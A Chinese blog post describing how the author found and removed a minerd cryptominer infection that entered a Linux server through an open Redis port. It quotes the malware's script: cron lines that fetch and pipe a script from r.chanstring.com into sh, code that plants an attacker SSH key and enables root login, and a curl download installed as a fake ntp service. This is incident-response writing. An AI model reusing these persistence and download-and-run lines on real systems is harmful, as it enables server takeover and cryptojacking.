linux中了minerd之后的完全清理过程(详解)

linux  /  管理员 发布于 5年前   223

一不小心装了一个Redis服务，开了一个全网的默认端口，一开始以为这台服务器没有公网ip，结果发现之后悔之莫及啊

某天发现cpu load高的出奇，发现一个minerd进程 占了大量cpu，google了一下，发现自己中招了

下面就是清理过程

第一步

1.立即停止redis服务，修改端口权限，增加密码措施

2.按照网上的资料 删除 crontab 里的两个内容

sudo rm /var/spool/cron/root
sudo rm /var/spool/cron/crontabs/root

3.知己知彼，百战不殆，研究病毒的初始话文件

得到结果

1.删除crontab的配置文件，如上我们已经删除，涉及的代码

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

2.删除 这个是用来免密码登陆的

rm -f ~/.ssh/authorized_keys*
rm -f ~/.ssh/KHK75NEOiq

你甚至可以直接把.ssh这个目录删除掉
涉及的代码

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y9993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfi

3.删除 /opt/这个目录 这玩意是第四步的服务产生的

4.删除服务

service ntp stop
rm /etc/init.d/ntp
rm /usr/sbin/ntp
涉及的代码

if [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install    fifi

如上的代码，下载了一个8M的程序，是安装了什么东西，楼主也不知道，但是接下来的代码暴露了行踪

/etc/init.d/ntp start

这行代码启动了ntp这个服务，百度搜了下说是个时间服务，其实这玩意是病毒服务，打开这个文件，找到可执行文件/usr/sbin/ntp 发现文件和那个8m的文件一个字节不差

所以删除这个文件

最后

ps aux|grep minerd

kill 掉所有的进程，ok修复结束

半小时之后

ps aux|grep minerd

minerd进程不再出现
